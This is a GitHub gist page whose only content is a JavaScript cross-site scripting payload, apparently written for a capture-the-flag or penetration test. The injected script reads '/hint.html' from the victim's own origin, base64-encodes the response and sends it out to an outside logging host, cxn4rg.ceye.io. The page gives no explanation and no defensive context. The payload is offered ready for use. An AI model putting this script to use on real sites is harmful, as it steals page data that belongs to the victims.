Skip to content

Instantly share code, notes, and snippets.

@0xlane
Created January 2, 2020 16:36
Show Gist options
  • Save 0xlane/259ed7c64adb65d793e436ea75760531 to your computer and use it in GitHub Desktop.
Save 0xlane/259ed7c64adb65d793e436ea75760531 to your computer and use it in GitHub Desktop.
<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
if (xmlHttp.readyState == 4) {
code=xmlHttp.responseText;
createXmlHttp();
url = "http://cxn4rg.ceye.io/";
cc = window.btoa(code);
xmlHttp.open("GET", url+cc, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(cc)
}
};
xmlHttp.open("GET", "/hint.html", true);
xmlHttp.send(null);
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment